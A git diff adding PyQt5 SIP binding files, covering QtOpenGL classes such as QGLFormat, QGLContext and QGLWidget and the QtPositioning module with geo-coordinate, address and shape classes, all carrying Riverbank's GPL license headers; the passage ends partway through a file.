+// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_OpenGL) + +namespace QGL +{ +%TypeHeaderCode +#include +%End + + enum FormatOption + { + DoubleBuffer, + DepthBuffer, + Rgba, + AlphaChannel, + AccumBuffer, + StencilBuffer, + StereoBuffers, + DirectRendering, + HasOverlay, + SampleBuffers, + SingleBuffer, + NoDepthBuffer, + ColorIndex, + NoAlphaChannel, + NoAccumBuffer, + NoStencilBuffer, + NoStereoBuffers, + IndirectRendering, + NoOverlay, + NoSampleBuffers, + DeprecatedFunctions, + NoDeprecatedFunctions, + }; + + typedef QFlags FormatOptions; +}; + +%End +%If (PyQt_OpenGL) +QFlags operator|(QGL::FormatOption f1, QFlags f2); +%End +%If (PyQt_OpenGL) + +class QGLFormat +{ +%TypeHeaderCode +#include +%End + +public: + enum OpenGLVersionFlag + { + OpenGL_Version_None, + OpenGL_Version_1_1, + OpenGL_Version_1_2, + OpenGL_Version_1_3, + OpenGL_Version_1_4, + OpenGL_Version_1_5, + OpenGL_Version_2_0, + OpenGL_Version_2_1, + OpenGL_Version_3_0, + OpenGL_Version_3_1, + OpenGL_Version_3_2, + OpenGL_Version_3_3, + OpenGL_Version_4_0, + OpenGL_Version_4_1, + OpenGL_Version_4_2, + OpenGL_Version_4_3, + OpenGL_ES_Common_Version_1_0, + OpenGL_ES_CommonLite_Version_1_0, + OpenGL_ES_Common_Version_1_1, + OpenGL_ES_CommonLite_Version_1_1, + OpenGL_ES_Version_2_0, + }; + + typedef QFlags OpenGLVersionFlags; + QGLFormat(); + QGLFormat(QGL::FormatOptions options, int plane = 0); + QGLFormat(const QGLFormat &other); + ~QGLFormat(); + void setDepthBufferSize(int size); + int depthBufferSize() const; + void setAccumBufferSize(int size); + int accumBufferSize() const; + void setAlphaBufferSize(int size); + int alphaBufferSize() const; + void setStencilBufferSize(int size); + int stencilBufferSize() const; + void setSampleBuffers(bool enable); + void setSamples(int numSamples); + int samples() const; + void setDoubleBuffer(bool enable); + void setDepth(bool enable); + void setRgba(bool enable); + void setAlpha(bool enable); + void setAccum(bool enable); + void setStencil(bool enable); + void setStereo(bool enable); + void setDirectRendering(bool enable); + void setOverlay(bool enable); + int plane() const; + void setPlane(int plane); + void setOption(QGL::FormatOptions opt); + bool testOption(QGL::FormatOptions opt) const; + static QGLFormat defaultFormat(); + static void setDefaultFormat(const QGLFormat &f); + static QGLFormat defaultOverlayFormat(); + static void setDefaultOverlayFormat(const QGLFormat &f); + static bool hasOpenGL(); + static bool hasOpenGLOverlays(); + bool doubleBuffer() const; + bool depth() const; + bool rgba() const; + bool alpha() const; + bool accum() const; + bool stencil() const; + bool stereo() const; + bool directRendering() const; + bool hasOverlay() const; + bool sampleBuffers() const; + void setRedBufferSize(int size); + int redBufferSize() const; + void setGreenBufferSize(int size); + int greenBufferSize() const; + void setBlueBufferSize(int size); + int blueBufferSize() const; + void setSwapInterval(int interval); + int swapInterval() const; + static QGLFormat::OpenGLVersionFlags openGLVersionFlags(); + void setVersion(int major, int minor); + int majorVersion() const; + int minorVersion() const; + + enum OpenGLContextProfile + { + NoProfile, + CoreProfile, + CompatibilityProfile, + }; + + void setProfile(QGLFormat::OpenGLContextProfile profile); + QGLFormat::OpenGLContextProfile profile() const; +}; + +%End +%If (PyQt_OpenGL) +bool operator==(const QGLFormat &, const QGLFormat &); +%End +%If (PyQt_OpenGL) +bool operator!=(const QGLFormat &, const QGLFormat &); +%End +%If (PyQt_OpenGL) + +class QGLContext /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + QGLContext(const QGLFormat &format); + virtual ~QGLContext(); + virtual bool create(const QGLContext *shareContext = 0); + bool isValid() const; + bool isSharing() const; + void reset(); + QGLFormat format() const; + QGLFormat requestedFormat() const; + void setFormat(const QGLFormat &format); + virtual void makeCurrent(); + virtual void doneCurrent(); + virtual void swapBuffers() const; + GLuint bindTexture(const QImage &image, GLenum target = GL_TEXTURE_2D, GLint format = GL_RGBA); + GLuint bindTexture(const QPixmap &pixmap, GLenum target = GL_TEXTURE_2D, GLint format = GL_RGBA); + void drawTexture(const QRectF &target, GLuint textureId, GLenum textureTarget = GL_TEXTURE_2D); + void drawTexture(const QPointF &point, GLuint textureId, GLenum textureTarget = GL_TEXTURE_2D); + GLuint bindTexture(const QString &fileName); + void deleteTexture(GLuint tx_id); + static void setTextureCacheLimit(int size); + static int textureCacheLimit(); + QFunctionPointer getProcAddress(const QString &proc) const; + QPaintDevice *device() const; + QColor overlayTransparentColor() const; + static const QGLContext *currentContext(); + +protected: + virtual bool chooseContext(const QGLContext *shareContext = 0); + bool deviceIsPixmap() const; + bool windowCreated() const; + void setWindowCreated(bool on); + bool initialized() const; + void setInitialized(bool on); + +public: + static bool areSharing(const QGLContext *context1, const QGLContext *context2); + + enum BindOption + { + NoBindOption, + InvertedYBindOption, + MipmapBindOption, + PremultipliedAlphaBindOption, + LinearFilteringBindOption, + DefaultBindOption, + }; + + typedef QFlags BindOptions; + GLuint bindTexture(const QImage &image, GLenum target, GLint format, QGLContext::BindOptions options); + GLuint bindTexture(const QPixmap &pixmap, GLenum target, GLint format, QGLContext::BindOptions options); + void moveToThread(QThread *thread); + +private: + QGLContext(const QGLContext &); +}; + +%End +%If (PyQt_OpenGL) + +class QGLWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QGLWidget, &sipType_QGLWidget, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + QGLWidget(QWidget *parent /TransferThis/ = 0, const QGLWidget *shareWidget = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + QGLWidget(QGLContext *context /Transfer/, QWidget *parent /TransferThis/ = 0, const QGLWidget *shareWidget = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + QGLWidget(const QGLFormat &format, QWidget *parent /TransferThis/ = 0, const QGLWidget *shareWidget = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QGLWidget(); + void qglColor(const QColor &c) const; + void qglClearColor(const QColor &c) const; + bool isValid() const; + bool isSharing() const; + void makeCurrent(); + void doneCurrent(); + bool doubleBuffer() const; + void swapBuffers(); + QGLFormat format() const; + QGLContext *context() const; + void setContext(QGLContext *context /Transfer/, const QGLContext *shareContext = 0, bool deleteOldContext = true); + QPixmap renderPixmap(int width = 0, int height = 0, bool useContext = false); + QImage grabFrameBuffer(bool withAlpha = false); + void makeOverlayCurrent(); + const QGLContext *overlayContext() const; + static QImage convertToGLFormat(const QImage &img); + void renderText(int x, int y, const QString &str, const QFont &font = QFont()); + void renderText(double x, double y, double z, const QString &str, const QFont &font = QFont()); + virtual QPaintEngine *paintEngine() const; + GLuint bindTexture(const QImage &image, GLenum target = GL_TEXTURE_2D, GLint format = GL_RGBA); + GLuint bindTexture(const QPixmap &pixmap, GLenum target = GL_TEXTURE_2D, GLint format = GL_RGBA); + GLuint bindTexture(const QString &fileName); + void drawTexture(const QRectF &target, GLuint textureId, GLenum textureTarget = GL_TEXTURE_2D); + void drawTexture(const QPointF &point, GLuint textureId, GLenum textureTarget = GL_TEXTURE_2D); + void deleteTexture(GLuint tx_id); + +public slots: + virtual void updateGL(); + virtual void updateOverlayGL(); + +protected: + virtual bool event(QEvent *); + virtual void initializeGL(); + virtual void resizeGL(int w, int h); + virtual void paintGL(); + virtual void initializeOverlayGL(); + virtual void resizeOverlayGL(int w, int h); + virtual void paintOverlayGL(); + void setAutoBufferSwap(bool on); + bool autoBufferSwap() const; + virtual void paintEvent(QPaintEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void glInit(); + virtual void glDraw(); + +public: + GLuint bindTexture(const QImage &image, GLenum target, GLint format, QGLContext::BindOptions options); + GLuint bindTexture(const QPixmap &pixmap, GLenum target, GLint format, QGLContext::BindOptions options); +}; + +%End +%If (PyQt_OpenGL) +QFlags operator|(QGLFormat::OpenGLVersionFlag f1, QFlags f2); +%End +%If (PyQt_OpenGL) +QFlags operator|(QGLContext::BindOption f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/QtPositioning.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/QtPositioning.toml new file mode 100644 index 00000000..18a3b6db --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/QtPositioning.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtPositioning. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/QtPositioningmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/QtPositioningmod.sip new file mode 100644 index 00000000..1ad97229 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/QtPositioningmod.sip @@ -0,0 +1,60 @@ +// QtPositioningmod.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtPositioning, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%Include qgeoaddress.sip +%Include qgeoareamonitorinfo.sip +%Include qgeoareamonitorsource.sip +%Include qgeocircle.sip +%Include qgeocoordinate.sip +%Include qgeolocation.sip +%Include qgeopath.sip +%Include qgeopolygon.sip +%Include qgeopositioninfo.sip +%Include qgeopositioninfosource.sip +%Include qgeorectangle.sip +%Include qgeosatelliteinfo.sip +%Include qgeosatelliteinfosource.sip +%Include qgeoshape.sip +%Include qnmeapositioninfosource.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoaddress.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoaddress.sip new file mode 100644 index 00000000..06227bf0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoaddress.sip @@ -0,0 +1,60 @@ +// qgeoaddress.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoAddress +{ +%TypeHeaderCode +#include +%End + +public: + QGeoAddress(); + QGeoAddress(const QGeoAddress &other); + ~QGeoAddress(); + bool operator==(const QGeoAddress &other) const; + bool operator!=(const QGeoAddress &other) const; + QString text() const; + void setText(const QString &text); + QString country() const; + void setCountry(const QString &country); + QString countryCode() const; + void setCountryCode(const QString &countryCode); + QString state() const; + void setState(const QString &state); + QString county() const; + void setCounty(const QString &county); + QString city() const; + void setCity(const QString &city); + QString district() const; + void setDistrict(const QString &district); + QString postalCode() const; + void setPostalCode(const QString &postalCode); + QString street() const; + void setStreet(const QString &street); + bool isEmpty() const; + void clear(); + bool isTextGenerated() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoareamonitorinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoareamonitorinfo.sip new file mode 100644 index 00000000..460a0ff6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoareamonitorinfo.sip @@ -0,0 +1,57 @@ +// qgeoareamonitorinfo.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoAreaMonitorInfo +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGeoAreaMonitorInfo(const QString &name = QString()); + QGeoAreaMonitorInfo(const QGeoAreaMonitorInfo &other); + ~QGeoAreaMonitorInfo(); + bool operator==(const QGeoAreaMonitorInfo &other) const; + bool operator!=(const QGeoAreaMonitorInfo &other) const; + QString name() const; + void setName(const QString &name); + QString identifier() const; + bool isValid() const; + QGeoShape area() const; + void setArea(const QGeoShape &newShape); + QDateTime expiration() const; + void setExpiration(const QDateTime &expiry); + bool isPersistent() const; + void setPersistent(bool isPersistent); + QVariantMap notificationParameters() const; + void setNotificationParameters(const QVariantMap ¶meters); +}; + +%End +%If (Qt_5_2_0 -) +QDataStream &operator<<(QDataStream &, const QGeoAreaMonitorInfo & /Constrained/); +%End +%If (Qt_5_2_0 -) +QDataStream &operator>>(QDataStream &, QGeoAreaMonitorInfo & /Constrained/); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoareamonitorsource.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoareamonitorsource.sip new file mode 100644 index 00000000..25266a20 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeoareamonitorsource.sip @@ -0,0 +1,73 @@ +// qgeoareamonitorsource.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoAreaMonitorSource : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + AccessError, + InsufficientPositionInfo, + UnknownSourceError, + NoError, + }; + + enum AreaMonitorFeature + { + PersistentAreaMonitorFeature, + AnyAreaMonitorFeature, + }; + + typedef QFlags AreaMonitorFeatures; + explicit QGeoAreaMonitorSource(QObject *parent /TransferThis/); + virtual ~QGeoAreaMonitorSource(); + static QGeoAreaMonitorSource *createDefaultSource(QObject *parent /TransferThis/) /Factory/; + static QGeoAreaMonitorSource *createSource(const QString &sourceName, QObject *parent /TransferThis/) /Factory/; + static QStringList availableSources(); + virtual void setPositionInfoSource(QGeoPositionInfoSource *source /Transfer/); + virtual QGeoPositionInfoSource *positionInfoSource() const; + QString sourceName() const; + virtual QGeoAreaMonitorSource::Error error() const = 0; + virtual QFlags supportedAreaMonitorFeatures() const = 0; + virtual bool startMonitoring(const QGeoAreaMonitorInfo &monitor) = 0; + virtual bool stopMonitoring(const QGeoAreaMonitorInfo &monitor) = 0; + virtual bool requestUpdate(const QGeoAreaMonitorInfo &monitor, const char *signal) = 0; + virtual QList activeMonitors() const = 0; + virtual QList activeMonitors(const QGeoShape &lookupArea) const = 0; + +signals: + void areaEntered(const QGeoAreaMonitorInfo &monitor, const QGeoPositionInfo &update); + void areaExited(const QGeoAreaMonitorInfo &monitor, const QGeoPositionInfo &update); + void monitorExpired(const QGeoAreaMonitorInfo &monitor); + void error(QGeoAreaMonitorSource::Error error); + +private: + QGeoAreaMonitorSource(const QGeoAreaMonitorSource &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeocircle.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeocircle.sip new file mode 100644 index 00000000..c00af10e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeocircle.sip @@ -0,0 +1,53 @@ +// qgeocircle.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoCircle : QGeoShape +{ +%TypeHeaderCode +#include +%End + +public: + QGeoCircle(); + QGeoCircle(const QGeoCoordinate ¢er, qreal radius = -1.); + QGeoCircle(const QGeoCircle &other); + QGeoCircle(const QGeoShape &other); + ~QGeoCircle(); + bool operator==(const QGeoCircle &other) const; + bool operator!=(const QGeoCircle &other) const; + void setCenter(const QGeoCoordinate ¢er); + QGeoCoordinate center() const; + void setRadius(qreal radius); + qreal radius() const; + void translate(double degreesLatitude, double degreesLongitude); + QGeoCircle translated(double degreesLatitude, double degreesLongitude) const; +%If (Qt_5_5_0 -) + QString toString() const; +%End +%If (Qt_5_9_0 -) + void extendCircle(const QGeoCoordinate &coordinate); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeocoordinate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeocoordinate.sip new file mode 100644 index 00000000..18ebca6f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeocoordinate.sip @@ -0,0 +1,83 @@ +// qgeocoordinate.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoCoordinate +{ +%TypeHeaderCode +#include +%End + +public: + enum CoordinateType + { + InvalidCoordinate, + Coordinate2D, + Coordinate3D, + }; + + enum CoordinateFormat + { + Degrees, + DegreesWithHemisphere, + DegreesMinutes, + DegreesMinutesWithHemisphere, + DegreesMinutesSeconds, + DegreesMinutesSecondsWithHemisphere, + }; + + QGeoCoordinate(); + QGeoCoordinate(double latitude, double longitude); + QGeoCoordinate(double latitude, double longitude, double altitude); + QGeoCoordinate(const QGeoCoordinate &other); + ~QGeoCoordinate(); + bool operator==(const QGeoCoordinate &other) const; + bool operator!=(const QGeoCoordinate &other) const; + bool isValid() const; + QGeoCoordinate::CoordinateType type() const; + void setLatitude(double latitude); + double latitude() const; + void setLongitude(double longitude); + double longitude() const; + void setAltitude(double altitude); + double altitude() const; + qreal distanceTo(const QGeoCoordinate &other) const; + qreal azimuthTo(const QGeoCoordinate &other) const; + QGeoCoordinate atDistanceAndAzimuth(qreal distance, qreal azimuth, qreal distanceUp = 0.0) const; + QString toString(QGeoCoordinate::CoordinateFormat format = QGeoCoordinate::DegreesMinutesSecondsWithHemisphere) const; +%If (Qt_5_7_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; + +%End +%If (Qt_5_2_0 -) +QDataStream &operator<<(QDataStream &stream, const QGeoCoordinate &coordinate /Constrained/); +%End +%If (Qt_5_2_0 -) +QDataStream &operator>>(QDataStream &stream, QGeoCoordinate &coordinate /Constrained/); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeolocation.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeolocation.sip new file mode 100644 index 00000000..83bb18b8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeolocation.sip @@ -0,0 +1,52 @@ +// qgeolocation.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QGeoLocation +{ +%TypeHeaderCode +#include +%End + +public: + QGeoLocation(); + QGeoLocation(const QGeoLocation &other); + ~QGeoLocation(); + bool operator==(const QGeoLocation &other) const; + bool operator!=(const QGeoLocation &other) const; + QGeoAddress address() const; + void setAddress(const QGeoAddress &address); + QGeoCoordinate coordinate() const; + void setCoordinate(const QGeoCoordinate &position); + QGeoRectangle boundingBox() const; + void setBoundingBox(const QGeoRectangle &box); + bool isEmpty() const; +%If (Qt_5_13_0 -) + QVariantMap extendedAttributes() const; +%End +%If (Qt_5_13_0 -) + void setExtendedAttributes(const QVariantMap &data); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopath.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopath.sip new file mode 100644 index 00000000..e0b2eb60 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopath.sip @@ -0,0 +1,62 @@ +// qgeopath.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_9_0 -) + +class QGeoPath : QGeoShape +{ +%TypeHeaderCode +#include +%End + +public: + QGeoPath(); + QGeoPath(const QList &path, const qreal &width = 0.); + QGeoPath(const QGeoPath &other); + QGeoPath(const QGeoShape &other); + ~QGeoPath(); + bool operator==(const QGeoPath &other) const; + bool operator!=(const QGeoPath &other) const; + void setPath(const QList &path); + const QList &path() const; + void setWidth(const qreal &width); + qreal width() const; + void translate(double degreesLatitude, double degreesLongitude); + QGeoPath translated(double degreesLatitude, double degreesLongitude) const; + double length(int indexFrom = 0, int indexTo = -1) const; + void addCoordinate(const QGeoCoordinate &coordinate); + void insertCoordinate(int index, const QGeoCoordinate &coordinate); + void replaceCoordinate(int index, const QGeoCoordinate &coordinate); + QGeoCoordinate coordinateAt(int index) const; + bool containsCoordinate(const QGeoCoordinate &coordinate) const; + void removeCoordinate(const QGeoCoordinate &coordinate); + void removeCoordinate(int index); + QString toString() const; +%If (Qt_5_10_0 -) + int size() const; +%End +%If (Qt_5_12_0 -) + void clearPath(); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopolygon.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopolygon.sip new file mode 100644 index 00000000..be678103 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopolygon.sip @@ -0,0 +1,81 @@ +// qgeopolygon.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_10_0 -) + +class QGeoPolygon : QGeoShape +{ +%TypeHeaderCode +#include +%End + +public: + QGeoPolygon(); + QGeoPolygon(const QList &path); + QGeoPolygon(const QGeoPolygon &other); + QGeoPolygon(const QGeoShape &other); + ~QGeoPolygon(); + bool operator==(const QGeoPolygon &other) const; + bool operator!=(const QGeoPolygon &other) const; + void setPath(const QList &path); + const QList &path() const; + void translate(double degreesLatitude, double degreesLongitude); + QGeoPolygon translated(double degreesLatitude, double degreesLongitude) const; + double length(int indexFrom = 0, int indexTo = -1) const; + int size() const; + void addCoordinate(const QGeoCoordinate &coordinate); + void insertCoordinate(int index, const QGeoCoordinate &coordinate); + void replaceCoordinate(int index, const QGeoCoordinate &coordinate); + QGeoCoordinate coordinateAt(int index) const; + bool containsCoordinate(const QGeoCoordinate &coordinate) const; + void removeCoordinate(const QGeoCoordinate &coordinate); + void removeCoordinate(int index); + QString toString() const; +%If (Qt_5_12_0 -) + void addHole(const QList &holePath); +%End +%If (Qt_5_12_0 -) + void addHole(const QVariant &holePath); +%End +%If (Qt_5_12_0 -) + const QVariantList hole(int index) const; +%End +%If (Qt_5_12_0 -) + const QList holePath(int index) const; +%End +%If (Qt_5_12_0 -) + void removeHole(int index); +%End +%If (Qt_5_12_0 -) + int holesCount() const; +%End + +protected: +%If (Qt_5_12_0 -) + void setPerimeter(const QVariantList &path); +%End +%If (Qt_5_12_0 -) + QVariantList perimeter() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopositioninfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopositioninfo.sip new file mode 100644 index 00000000..149c03c6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPositioning/qgeopositioninfo.sip @@ -0,0 +1,65 @@ +// qgeopositioninfo.sip generated by MetaSIP +// +// This file is part of the QtPositioning Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 